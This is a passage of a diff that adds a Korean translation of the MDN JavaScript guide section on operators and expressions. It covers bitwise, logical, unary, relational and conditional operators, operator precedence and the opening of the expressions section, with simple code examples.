+   <td>단항 연산자입니다. 피연산자에 1을 더합니다. 만약 연산자를 피연산자 앞(<code>++x</code>)에 사용하면, 피연산자에 1을 더한 값을 반환합니다.; 만약 연산자를 피연산자 뒤(<code>x++</code>)에 사용하면, 피연산자에 1을 더하기 전 값을 반환합니다.</td>
+   <td><code>x</code> 가 3이면 <code>++x</code> 는 <code>x</code> 를 4로 만들고 4를 반환합니다. 반면 <code>x++</code> 는 3을 반환하고 <code>x</code> 를 4로 만듭니다.</td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement">감소 연산자</a> (<code>--</code>)</td>
+   <td>단항 연산자입니다. 피연산자로 부터 1을 뺍니다. 반환값은 증가 연산자와 유사합니다.</td>
+   <td><code>x</code> 가 3이면 <code>--x</code> 는 <code>x</code> 를 2로 만들고2를 반환합니다. 반면 <code>x--</code> 는 3을 반환하고 <code>x</code> 를 2로 만듭니다.</td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_negation">단항 부정 연산자</a> (<code>-</code>)</td>
+   <td>단항 연산자 입니다. 피연산자의 반대값(부호 바뀐값)을 반환합니다.</td>
+   <td> <code>x</code> 가 3이면 <code>-x</code> 는 -3을 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_plus">숫자화 연산자</a> (<code>+</code>)</td>
+   <td>단항연산자 입니다. 피연산자가 숫자값이 아니라면 피연산자를 숫자로 변환하기를 시도합니다.</td>
+   <td><code>+"3"</code> 은 <code>3</code>을 반환합니다.<br>
+    <code>+true</code> 는 <code>1.</code> 을 반환합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="비트_연산자">비트 연산자</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">비트 연산자</a>는 피연산자를 10진수, 16진수, 8진수처럼 취급하지 않고 32비트의 집합으로 취급합니다. 예를 들면, 10진수의 9는 2진수의 1001로 나타낼 수 있습니다. 비트 단위 연산자는 이진법으로 연산을 수행하지만, JavaScript의 표준 숫자값을 반환합니다..</p>
+
+<p>다음의 표는 JavaScript의 비트단위 연산자의 요약입니다.</p>
+
+<table class="standard-table">
+ <caption>비트 연산자</caption>
+ <thead>
+  <tr>
+   <th scope="col">연산자</th>
+   <th scope="col">사용법</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_AND">비트단위 논리곱</a></td>
+   <td><code>a &amp; b</code></td>
+   <td>두 피연산자의 각 자리 비트의 값이 둘다 1일 경우 해당하는 자리에 1을 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_OR">비트단위 논리합</a></td>
+   <td><code>a | b</code></td>
+   <td>두 피연산자의 각 자리 비트의 값이 둘다 0일 경우 해당하는 자리에 0을 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">비트단위 배타적 논리합</a></td>
+   <td><code>a ^ b</code></td>
+   <td>두 피연산자의 각 자리 비트의 값이 같을 경우 해당하는 자리에 0을 반환합니다.<br>
+    [두 피연산자의 각 자리 비트의 값이 다를 경우 해당하는 자리에 1을 반환합니다.]</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_NOT">비트단위 부정</a></td>
+   <td><code>~ a</code></td>
+   <td>피연산자의 각 자리의 비트를 뒤집습니다.</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Left_shift">왼쪽 시프트</a></td>
+   <td><code>a &lt;&lt; b</code></td>
+   <td>오른쪽에서 0들을 이동시키면서, a의 이진수의 각 비트를 b비트 만큼 왼쪽으로 이동시킨 값을 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Right_shift">부호 전파 오른쪽 시프트</a></td>
+   <td><code>a &gt;&gt; b</code></td>
+   <td>사라지는 비트를 버리면서, a의 이진수의 각 비트를 b비트만큼 이동시킨값을 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Unsigned_right_shift">부호 없는 오른쪽 시프트</a></td>
+   <td><code>a &gt;&gt;&gt; b</code></td>
+   <td>사라지는 비트를 버리고 왼쪽에서 0을 이동시키면서, a의 이진수의 각 비트를 b비트 만큼 이동시킨 값을 반환합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Bitwise_Logical_Operators" name="Bitwise_Logical_Operators">비트 논리 연산자</h4>
+
+<p>개념상으로, 비트단위 논리 연산자는 다음과 같이 동작합니다:</p>
+
+<ul>
+ <li>피연산자들은 32비트 정수로 변환되고, 비트(0 과 1)의 연속으로 표현됩니다. 숫자는 32비트가 넘는 경우 가장 중요한(왼쪽) 비트부터 제거됩니다. 예를 들면 아래 예처럼 32비트가 넘는 정수는 32비트 정수형으로 변환됩니다:
+  <pre><code>변환전: 11100110111110100000000000000110000000000001
+변환수:             10100000000000000110000000000001</code></pre>
+ </li>
+ <li>처음 피연산자의 각 비트는 두번째 피연산자의 해당하는 비트와 짝지어집니다: 첫번째 비트는 첫번째 비트에, 두번째 비트는 두번째 비트에, 이런식으로 쭉.</li>
+ <li>연산자는 각 비트 묶음에 적용되고, 결과는 조립된 비트입니다.</li>
+</ul>
+
+<p>예를 들면, 9의 이진표현은 1001이고, 15의 이진표현은 1111입니다. 따라서, 비트단위 연산자가 이 값들에 적용될때, 결과는 다음과 같습니다:</p>
+
+<table class="standard-table">
+ <caption>비트 연산자 예제</caption>
+ <thead>
+  <tr>
+   <th scope="col">표현</th>
+   <th scope="col">결과</th>
+   <th scope="col">이진법 설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>15 &amp; 9</code></td>
+   <td><code>9</code></td>
+   <td><code>1111 &amp; 1001 = 1001</code></td>
+  </tr>
+  <tr>
+   <td><code>15 | 9</code></td>
+   <td><code>15</code></td>
+   <td><code>1111 | 1001 = 1111</code></td>
+  </tr>
+  <tr>
+   <td><code>15 ^ 9</code></td>
+   <td><code>6</code></td>
+   <td><code>1111 ^ 1001 = 0110</code></td>
+  </tr>
+  <tr>
+   <td><code>~15</code></td>
+   <td><code>-16</code></td>
+   <td><code>~</code><code>00000000...</code><code>00001111 = </code><code>1111</code><code>1111</code><code>...</code><code>11110000</code></td>
+  </tr>
+  <tr>
+   <td><code>~9</code></td>
+   <td><code>-10</code></td>
+   <td><code>~</code><code>00000000</code><code>...</code><code>0000</code><code>1001 = </code><code>1111</code><code>1111</code><code>...</code><code>1111</code><code>0110</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>모든 32비트가 비트단위 부정연산자를 통해 뒤집히고, 가장 의미있는(가장 왼쪽의) 비트가 1인 값들이 음수(2의 보수 표기법)로 표현되는것에 주목하세요 . ~x 의 평가 값은 -x -1의 평가값과 동일합니다.</p>
+
+<h4 id="Bitwise_Shift_Operators" name="Bitwise_Shift_Operators">비트 시프트 연산자</h4>
+
+<p>비트 단위 연산자는 2개의 피연산자를 가집니다: 첫번째는 이동될 수치이고, 두번째는 첫번째 피연산자가 이동될 비트 자리수를 명시합니다. 비트 이동 연산의 방향은 연산자의 사용에 의해 조종됩니다.</p>
+
+<p>이동 연산자는 피연산자를 32비트의 정수로 변환하고, 왼쪽의 피연산자와 같은 형태를 반환합니다.</p>
+
+<p>이동 연산자는 다음의 표에 나열되었습니다.</p>
+
+<table class="fullwidth-table">
+ <caption>비트 시프트 연산자</caption>
+ <thead>
+  <tr>
+   <th scope="col">연산자</th>
+   <th scope="col">설명</th>
+   <th scope="col">예제</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>왼쪽 시프트<br>
+    (<code>&lt;&lt;</code>)</td>
+   <td>이 연산자는 첫번째 피연산자를 특정한 수의 비트를 왼쪽으로 이동시킵니다. 왼쪽으로 초과되어 이동되는 비트들은 버려집니다. 오른쪽으로부터 0이 이동됩니다.</td>
+   <td><code>9&lt;&lt;2</code> yields 36, because 1001 shifted 2 bits to the left becomes 100100, which is 36.</td>
+  </tr>
+  <tr>
+   <td>부호 전파 오른쪽 시프트(<code>&gt;&gt;</code>)</td>
+   <td>이 연산자는 첫번째 피연산자를 특정한 수의 비트를 오른쪽으로 이동시킵니다. 오른쪽으로 초과되어 이동되는 비트들은 버려집니다. 왼쪽으로부터 제일 왼쪽의 비트 값이 이동됩니다.</td>
+   <td><code>9&gt;&gt;2</code> yields 2, because 1001 shifted 2 bits to the right becomes 10, which is 2. Likewise, <code>-9&gt;&gt;2</code> yields -3, because the sign is preserved.</td>
+  </tr>
+  <tr>
+   <td>부호 없는 오른쪽 시프트(<code>&gt;&gt;&gt;</code>)</td>
+   <td>이 연산자는 첫번째 피연산자를 특정한 수의 비트를 오른쪽으로 이동시킵니다. 오른쪽으로 초과되어 이동되는 비트들은 버려집니다. 왼쪽으로부터 0이 이동됩니다 .</td>
+   <td><code>19&gt;&gt;&gt;2</code> yields 4, because 10011 shifted 2 bits to the right becomes 100, which is 4. For non-negative numbers, zero-fill right shift and sign-propagating right shift yield the same result.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="논리_연산자">논리 연산자</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators">논리 연산자</a>는 보통 부울 값과 사용됩니다; 부울 값들과 사용될때, 연산자는 부울값을 반환합니다. <code>그러나,&amp;&amp; 과 </code><code>||</code> 연산자는 실제로 명시된 피연자들 중 하나를 반환합니다. 따라서, 만약 이 연산자들이 부울 값이 아닌 값들과 함께 쓰였을때, 그들은 부울 값이 아닌 값을 반환할지도 모릅니다. 논리 연산자들은 다음의 표에서 설명됩니다.</p>
+
+<table class="fullwidth-table">
+ <caption>논리 연산자</caption>
+ <tbody>
+  <tr>
+   <th>연산자</th>
+   <th>구문</th>
+   <th>설명</th>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_AND">논리 AND</a> (<code>&amp;&amp;</code>)</td>
+   <td><code><em>expr1</em> &amp;&amp; <em>expr2</em></code></td>
+   <td><code>expr1</code>을 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">true</span></font>로 변환할 수 있는 경우 <code>expr2</code>을 반환하고, 그렇지 않으면 <code>expr1</code>을 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_OR">논리 OR</a> (<code>||</code>)</td>
+   <td><code><em>expr1</em> || <em>expr2</em></code></td>
+   <td>
+    <p><code>expr1</code>을 <code>true</code>로 변환할 수 있으면 <code>expr1</code>을 반환하고, 그렇지 않으면 <code>expr2</code>를 반환합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_NOT">논리 NOT</a> (<code>!</code>)</td>
+   <td><code>!<em>expr</em></code></td>
+   <td>단일 피연산자를 <code>true</code>로 변환할 수 있으면 <code>false</code>를 반환합니다. 그렇지 않으면 <code>true</code>를 반환합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>false</code>로 변환될 수 있는 표현 예제들은 null, 0, NaN, 빈 문자열 (""), 또는 정의되지 않음 으로 평가될 수 있습니다.</p>
+
+<p>다음의 코드는 <code>&amp;&amp;</code> (논리 곱) 연산자의 예제를 보여주고 있습니다.</p>
+
+<pre class="brush: js">var a1 =  true &amp;&amp; true;     // t &amp;&amp; t returns true
+var a2 =  true &amp;&amp; false;    // t &amp;&amp; f returns false
+var a3 = false &amp;&amp; true;     // f &amp;&amp; t returns false
+var a4 = false &amp;&amp; (3 == 4); // f &amp;&amp; f returns false
+var a5 = "Cat" &amp;&amp; "Dog";    // t &amp;&amp; t returns Dog
+var a6 = false &amp;&amp; "Cat";    // f &amp;&amp; t returns false
+var a7 = "Cat" &amp;&amp; false;    // t &amp;&amp; f returns false
+</pre>
+
+<p>다음의 코드는 || (논리 합) 연산자의 예제를 보여주고 있습니다.</p>
+
+<pre class="brush: js">var o1 =  true || true;     // t || t returns true
+var o2 = false || true;     // f || t returns true
+var o3 =  true || false;    // t || f returns true
+var o4 = false || (3 == 4); // f || f returns false
+var o5 = "Cat" || "Dog";    // t || t returns Cat
+var o6 = false || "Cat";    // f || t returns Cat
+var o7 = "Cat" || false;    // t || f returns Cat
+</pre>
+
+<p>다음의 코드는 ! (논리 부정) 연산자의 예제를 보여주고 있습니다.</p>
+
+<pre class="brush: js">var n1 = !true;  // !t returns false
+var n2 = !false; // !f returns true
+var n3 = !"Cat"; // !t returns false
+</pre>
+
+<h4 id="Short-Circuit_Evaluation" name="Short-Circuit_Evaluation">단락 평가</h4>
+
+<p>논리 연산자가 왼쪽에서 오른쪽으로 평가될때, 논리연산자는 다음의 규칙을 따라서 "단축 계산"으로 검사됩니다:</p>
+
+<ul>
+ <li><code>false</code> &amp;&amp; <em>anything</em> 는 false로 단축 계산됩니다.</li>
+ <li><code>true</code> || <em>anything</em> 는 true로 단축 계산됩니다.</li>
+</ul>
+
+<p>이 논리 규칙들은 이러한 평가가 언제나 정확하다고 보증합니다. <em>위에서 anything</em> 부분은 평가되지 않았고, 어떤 부작용도 아무런 효과를 미치지 못한다는 것에 주목하세요.</p>
+
+<h3 id="문자열_연산자">문자열 연산자</h3>
+
+<p>문자열 값으로 사용될 수 있는 비교 연산자에 덧붙여서, 연결 연산자 (+)는 두 문자열 값을 연결하고,두 문자열이 합쳐진 새로운 문자열을 반환합니다.</p>
+
+<p>예를 들어,</p>
+
+<pre class="brush: js"><code>console.log("my " + "string");</code> // console logs the string <code>"my string"</code>.</pre>
+
+<p>복합 할당 연산자인 += 또한 문자열을 연결하는데 사용할 수 있습니다.</p>
+
+<p>예를 들어,</p>
+
+<pre class="brush: js">var <code>mystring</code> = "alpha";
+<code>mystring += "bet"; // </code>evaluates to "alphabet" and assigns this value to <code>mystring</code>.</pre>
+
+<h3 id="조건_삼항_연산자">조건 (삼항) 연산자</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">조건 연산자</a> 는 JavaScript에서 3개의 항을 사용하는 유일한 연산자 입니다. 조건 연산자는 조건에 따라 2개의 값중 하나를 가질 수 있습니다. 문법은 다음과 같습니다:</p>
+
+<pre class="syntaxbox"><em>조건</em> ? <em>값1</em> : <em>값2</em>
+</pre>
+
+<p><code>만약 조건이 참이라면, 조건 연산자는 값1을 값으로 갖습니다</code>.<code> 그렇지 않은 경우 조건 연산자는 값2을 값으로 갖습니다</code>. 표준 연산자를 사용하는 어디든 조건연산자를 사용할 수 있습니다.</p>
+
+<p>에들 들어,</p>
+
+<pre class="brush: js">var status = (age &gt;= 18) ? "adult" : "minor";
+</pre>
+
+<p>이 구문은 age 변수가 18보다 같거나 클때 "adult" 값을 <code>status 변수에 할당합니다</code>. 그렇지 않은 경우, 이 구문은 "minor"값을<code> status</code>변수에 할당합니다.</p>
+
+<h3 id="쉼표_연산자">쉼표 연산자</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comma_Operator">쉼표 연산자</a> (<code>,</code>)는 두 피연산자를 평가하고, 마지막 피연산자의 값을 반환합니다. 이 연산자는 주로 <code>for</code> 반복문 안에서 각각의 시간에 복수의 변수들을 갱신하기 위하여 사용합니다.</p>
+
+<p>예를 들어, a는 각 변에 10개의 원소가 있는 2차원 배열일때, 다음의 코드는 콤마 연산자를 두 변수를 한번에 증가 시키기 위하여 사용하였습니다. 이 코드는 배열의 대각선에 위치한 원소를 출력합니다:</p>
+
+<pre><code>var x = [0,1,2,3,4,5,6,7,8,9]
+var a = [x, x, x, x, x];
+
+for (var i = 0, j = 9; i &lt;= j; i++, j--)
+  console.log('a[' + i + '][' + j + ']= ' + a[i][j]);</code></pre>
+
+<h3 id="단항_연산자">단항 연산자</h3>
+
+<p>단항 연산자는 오직 하나의 피연산자를 가지고 연산을합니다.</p>
+
+<h4 id="delete" name="delete"><code>delete</code></h4>
+
+<p><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code>연산자는 객체, 객체의 속성 또는 배열의 특정한 위치에 있는 객체를 삭제합니다. 문법은 다음과 같습니다:</p>
+
+<pre class="brush: js">delete objectName;
+delete objectName.property;
+delete objectName[index];
+delete property; // legal only within a with statement
+</pre>
+
+<p><code>objectName</code>은 객체의 이름이고, <code>property</code>는 객체에 존재하는 속성이고,<code>index</code>는 배열의 위치를 나타내는 정수입니다.</p>
+
+<p>네번째 형태의 경우,객체의 속성을 삭제하기 위하여 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/with">with</a></code> 구문이 있어야만 동작합니다.</p>
+
+<p><code>delete</code> 연산자를 <code>var</code> 구문을 사용하지 않고 묵시적으로 만들어진 변수를 삭제할 때 사용할 수 있습니다.</p>
+
+<p>만약 <code>delete</code>연산자의 동작이 성공했다면, delete 연산자는 속성이나, 원소를 <code>undefined</code> 로 설정합니다. <code>delete</code> 연산자는 연산이 수행 가능할때 true값을 반환합니다; 수행이 불가능 할 경우 <code>false</code> 값을 반환합니다.</p>
+
+<pre class="brush: js">x = 42;
+var y = 43;
+myobj = new Number();
+myobj.h = 4;    // create property h
+delete x;       // returns true (can delete if declared implicitly)
+delete y;       // returns false (cannot delete if declared with var)
+delete Math.PI; // returns false (cannot delete predefined properties)
+delete myobj.h; // returns true (can delete user-defined properties)
+delete myobj;   // returns true (can delete if declared implicitly)
+</pre>
+
+<h5 id="배열의_원소를_삭제하기">배열의 원소를 삭제하기</h5>
+
+<p>배열의 원소를 삭제할때, 배열의 길이에는 영향을 주지 못합니다. 예를 들어, 만약 <code>a[3]</code>, <code>a[4]를 삭제 했다면</code> <code>a[4]</code> 와 <code>a[3]는 undefined(정의되지 않음)상태로 되어 있습니다</code>.</p>
+
+<p><code>delete</code> 연산자가 배열의 한 원소를 삭제하였을때, 그 원소는 배열에 존재하지 않습니다. 다음의 예제에서, <code>trees[3]</code>는 <code>delete 연산자에 의해 제거되었습니다</code>.그러나, <code>trees[3]</code> 는 아직도 다룰수 있고 <code>undefined</code>(정의 되지 않음) 을 반환합니다.</p>
+
+<pre class="brush: js">var trees = ["redwood", "bay", "cedar", "oak", "maple"];
+delete trees[3];
+if (3 in trees) {
+  // this does not get executed
+}
+</pre>
+
+<p>만약 배열의 원소가 존재하지만 undefined(정의 되지 않음)값을 가지고 싶으면,<code> delete 연산자 대신 undefined</code> 키워드를 사용하세요. 다음의 예제에서, <code>trees[3]</code> 은 <code>undefined값을 할당받습니다</code>,그러나 배열의 원소는 아직도 존재합니다:</p>
+
+<pre class="brush: js">var trees = ["redwood", "bay", "cedar", "oak", "maple"];
+trees[3] = undefined;
+if (3 in trees) {
+  // this gets executed
+}
+</pre>
+
+<h4 id="typeof" name="typeof"><code>typeof</code></h4>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/typeof"><code>typeof</code> 연산자</a>는 다음과 같은 방법으로 사용됩니다:</p>
+
+<pre class="syntaxbox">typeof 피연산자
+typeof (피연산자)
+</pre>
+
+<p><code>typeof</code> 연산자 피연산자의 타입을 나타내는 문자열을 반환합니다. <code>피연산자</code> 는 어떤 타입인지 반환될 문자열, 변수, 키워드,또는 객체입니다 . 괄호 표현은 선택사항입니다.</p>
+
+<p>다음의 변수를 정의했다고 가정하세요:</p>
+
+<pre class="brush: js">var myFun = new Function("5 + 2");
+var shape = "round";
+var size = 1;
+var foo = ['Apple', 'Mango', 'Orange'];
+var today = new Date();
+</pre>
+
+<p><code>typeof</code> 연산자는 이 변수들에 대하여 다음과 같은 값을 반환합니다:</p>
+
+<pre class="brush: js">typeof myFun;     // returns "function"
+typeof shape;     // returns "string"
+typeof size;      // returns "number"
+typeof foo;       // returns "object"
+typeof today;     // returns "object"
+typeof dontExist; // returns "undefined"
+</pre>
+
+<p><code>typeof</code> 연산자는 키워드<code>true</code> 와 <code>null</code>에 대하여 다음과 같은 결과를 반환합니다:</p>
+
+<pre class="brush: js">typeof true; // returns "boolean"
+typeof null; // returns "object"
+</pre>
+
+<p>typeof 연산자는 숫자와 문자열에 대하여 다음과 같은 결과를 반환합니다:</p>
+
+<pre class="brush: js">typeof 62;            // returns "number"
+typeof 'Hello world'; // returns "string"
+</pre>
+
+<p><code>typeof</code> 연산자는 객체의 속성에 대하여 속성이 갖고있는 타입의 값을 반환합니다.</p>
+
+<pre class="brush: js">typeof document.lastModified; // returns "string"
+typeof window.length;         // returns "number"
+typeof Math.LN2;              // returns "number"
+</pre>
+
+<p><code>typeof</code> 연산자는 메소드와 함수들에 대하여 다음과 같은 결과를 반환합니다:</p>
+
+<pre class="brush: js">typeof blur;        // returns "function"
+typeof eval;        // returns "function"
+typeof parseInt;    // returns "function"
+typeof shape.split; // returns "function"
+</pre>
+
+<p><code>typeof 연산자는</code> 미리 정의된 객체에 대하여 다음과 같은 결과를 반환합니다:</p>
+
+<pre class="brush: js">typeof Date;     // returns "function"
+typeof Function; // returns "function"
+typeof Math;     // returns "object"
+typeof Option;   // returns "function"
+typeof String;   // returns "function"
+</pre>
+
+<h4 id="void" name="void"><code>void</code></h4>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/void"><code>void</code> 연산자</a> 는 다음과 같은 방법들로 사용됩니다:</p>
+
+<pre class="syntaxbox">void (식)
+void 식
+</pre>
+
+<p><code>void</code> 연산자는 값을 반환하지 않고 평가되도록 명시합니다. <code>식</code>은 JavaScript의 평가될 표현 입니다. 괄호 로 둘러싸는것은 선택사항이지만, 괄호로 둘러싸는게 좋은 사용방법입니다.</p>
+
+<p><code>void</code> 연산자를 표현을 하이퍼링크 에서 명시할때 사용할 수 있습니다 . 구문은 실행이 되나, 현재의 문서에는 로드되지 않습니다.</p>
+
+<p>다음의 코드는 사용자가 클릭을 하였을때 아무 일도 안하는 하이퍼링크를 생성합니다. 사용자가 클릭을 했을때, <code>void(0)</code>는<code> JavaScript에서 아무런 영향을 줄 수 없는 undefined(정의 되지않음)</code>으로 평가됩니다.</p>
+
+<pre class="brush: html">&lt;a href="javascript:void(0)"&gt;Click here to do nothing&lt;/a&gt;
+</pre>
+
+<p>다음의 코드는 사용자가 클릭을 하였을때, 폼을 제출하는 하이퍼링크를 생성합니다.</p>
+
+<pre class="brush: html">&lt;a href="javascript:void(document.form.submit())"&gt;
+Click here to submit&lt;/a&gt;</pre>
+
+<h3 id="관계_연산자">관계 연산자</h3>
+
+<p>관계 연산자는 피연산자들을 비교하고 <code>,비교의 참 여부에 기반하여 부울 값을 반환합니다</code>.</p>
+
+<h4 id="in"><code>in</code></h4>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> 연산자</a>는 객체에 특정한 속성이 있는경우 true를 반환합니다. 구문은 다음과 같습니다:</p>
+
+<pre class="brush: js">propNameOrNumber in objectName
+</pre>
+
+<p><code>propNameOrNumber</code>는 속성의 이름을 나타내는 문자열 또는 배열의 인덱스를 나타내는 숫자이고, <code>objectName은 객체의 이름입니다</code>.</p>
+
+<p>다음의 예제는 <code>in</code> 연산자의 사용 예를 보여줍니다.</p>
+
+<pre class="brush: js">// Arrays
+var trees = ["redwood", "bay", "cedar", "oak", "maple"];
+0 in trees;        // returns true
+3 in trees;        // returns true
+6 in trees;        // returns false
+"bay" in trees;    // returns false (you must specify the index number,
+                   // not the value at that index)
+"length" in trees; // returns true (length is an Array property)
+
+// built-in objects
+"PI" in Math;          // returns true
+var myString = new String("coral");
+"length" in myString;  // returns true
+
+// Custom objects
+var mycar = { make: "Honda", model: "Accord", year: 1998 };
+"make" in mycar;  // returns true
+"model" in mycar; // returns true
+</pre>
+
+<h4 id="instanceof" name="instanceof"><code>instanceof</code></h4>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/instanceof"><code>instanceof</code> 연산자</a>는 명시된 객체가 명시된 객체형인 경우 true를 반환합니다. 구문은 다음과 같습니다:</p>
+
+<pre class="syntaxbox">objectName instanceof objectType
+</pre>
+
+<p><code>objectName은 objectType 과 비교할 객체의 이름이고</code>, <code>objectType</code> 은 {{jsxref("Date")}} 또는 {{jsxref("Array")}}과 같은 객체형 입니다.</p>
+
+<p><code>instanceof</code> 연산자를 동작시간에 객체의 형태를 확인할 필요가 있을때 사용하세요. 예를 들어, 예외가 발생하였을때, 던저진 예외의 형태에 따라 예외를 처리하는 코드로 나뉘게 할 수 있습니다.</p>
+
+<p>예를 들어, 다음의 코드는<code>instanceof</code> 연산자를<code>theDay 객체가</code> <code>Date</code> 형의 객체인지 알아내는 코드입니다. <code>theDay</code>객체는 <code>Date</code> 형의 객체이기 때문에, <code>if</code> 문 안의 명령문들은 실행됩니다.</p>
+
+<pre class="brush: js">var theDay = new Date(1995, 12, 17);
+if (theDay instanceof Date) {
+  // statements to execute
+}
+</pre>
+
+<h3 id="연산자_우선순위">연산자 우선순위</h3>
+
+<p>연산자의 우선순위는 구문을 수행할 때 수행될 순서를 결정합니다. 괄호를 통하여 우선순위를 재정의 할 수 있습니다.</p>
+
+<p>다음의 표는 우선순위가 높은 순서부터 낮은 순서까지, 연산자의 우선순위에 대하여 설명하고 있습니다.</p>
+
+<table class="standard-table">
+ <caption>연산자 우선순위</caption>
+ <thead>
+  <tr>
+   <th scope="col">Operator type</th>
+   <th scope="col">Individual operators</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>맴버 연산자</td>
+   <td><code>. []</code></td>
+  </tr>
+  <tr>
+   <td>객체 호출/생성 연산자</td>
+   <td><code>() new</code></td>
+  </tr>
+  <tr>
+   <td>부정/증가 연산자</td>
+   <td><code>! ~ - + ++ -- typeof void delete</code></td>
+  </tr>
+  <tr>
+   <td>곱셈/나눗셈 연산자</td>
+   <td><code>* / %</code></td>
+  </tr>
+  <tr>
+   <td>덧셈/뺄셈 연산자</td>
+   <td><code>+ -</code></td>
+  </tr>
+  <tr>
+   <td>비트단위 시프트 연산자</td>
+   <td><code>&lt;&lt; &gt;&gt; &gt;&gt;&gt;</code></td>
+  </tr>
+  <tr>
+   <td>관계 연산자</td>
+   <td><code>&lt; &lt;= &gt; &gt;= in instanceof</code></td>
+  </tr>
+  <tr>
+   <td>같음 비교 연산자</td>
+   <td><code>== != === !==</code></td>
+  </tr>
+  <tr>
+   <td>비트 단위 논리곱 연산자</td>
+   <td><code>&amp;</code></td>
+  </tr>
+  <tr>
+   <td>비트단위 배타적 논리합 연산자</td>
+   <td><code>^</code></td>
+  </tr>
+  <tr>
+   <td>비트단위 논리합 연산자</td>
+   <td><code>|</code></td>
+  </tr>
+  <tr>
+   <td>논리 곱 연산자</td>
+   <td><code>&amp;&amp;</code></td>
+  </tr>
+  <tr>
+   <td>논리 합 연산자</td>
+   <td><code>||</code></td>
+  </tr>
+  <tr>
+   <td>조건 연산자</td>
+   <td><code>?:</code></td>
+  </tr>
+  <tr>
+   <td>할당 연산자</td>
+   <td><code>= += -= *= /= %= &lt;&lt;= &gt;&gt;= &gt;&gt;&gt;= &amp;= ^= |=</code></td>
+  </tr>
+  <tr>
+   <td>콤마 연산자</td>
+   <td><code>,</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>각 각의 연산자에 대한 추가적인 상세사항에 대해 연결된, 더 자세한 표를 보고 싶으면, <a href="/ko/docs/Web/JavaScript/Reference/Operators/Operator_Precedence#Table">JavaScript Reference</a>에서 보실 수 있습니다.</p>
+
+<h2 id="표현식">표현식</h2>
+
+<p><span>코드 값으로 확인된 표현은 그 어떤 타당한 단위입니다.</span></p>
+
+<p>개념적으로, 2가지의 유형이 있습니다. 첫번째는, 변수에 값을 할당시키는 것, 두번째는 단순히 값을 갖는것이 있습니다.</p>
+
+<p>x = 7이란 표현은 첫번째 유형입니다. 이 표현은 x에다가 7을 할당시키기위해 =연산자를 사용합니다. 그 표현자체 7로 계산됩니다.</p>
+
+<p>3 + 4란 코드는 두번째 표현방식의 예입니다. 이 표현은 7이라는 결과로 할당하는것없이 3과 4를 더하기위해 +연산자를 사용합니다.</p>
+
+<p>JavaScript는 아래 표현범주를 따릅니다.</p>
+
+<ul>
+ <li>산수 : 예를 들어 3.14159를 숫자로 평가합니다. (일반적으로 <a href="#산술_연산자">산술 연산자</a>를 사용합니다.)</li>
+ <li>문자열 : 예를 들어 "Fred"나 "234"를 문자열로 평가합니다. (일반적으로 <a href="#문자열_연산자">문자열 연산자</a>를 사용합니다.)</li>
+ <li>논리 : 참이나 거짓으로 평가합니다. (종종 <a href="#논리_연산자">논리 연산자</a>를 수반합니다.)</li>
+ <li>일차식 : JavaScript에서 기본핵심어와 일반적인 표현입니다.</li>
+ <li>좌변식 : 좌변값들이 배치의 목적입니다.</li>
+</ul>
+
+<h3 id="중요한_표현식">중요한 표현식</h3>
+
+<p>JavaScript에서의 기본적인 키워드와 일반적인 표현식입니다.</p>
+
+<h4 id="this"><code>this</code></h4>
+
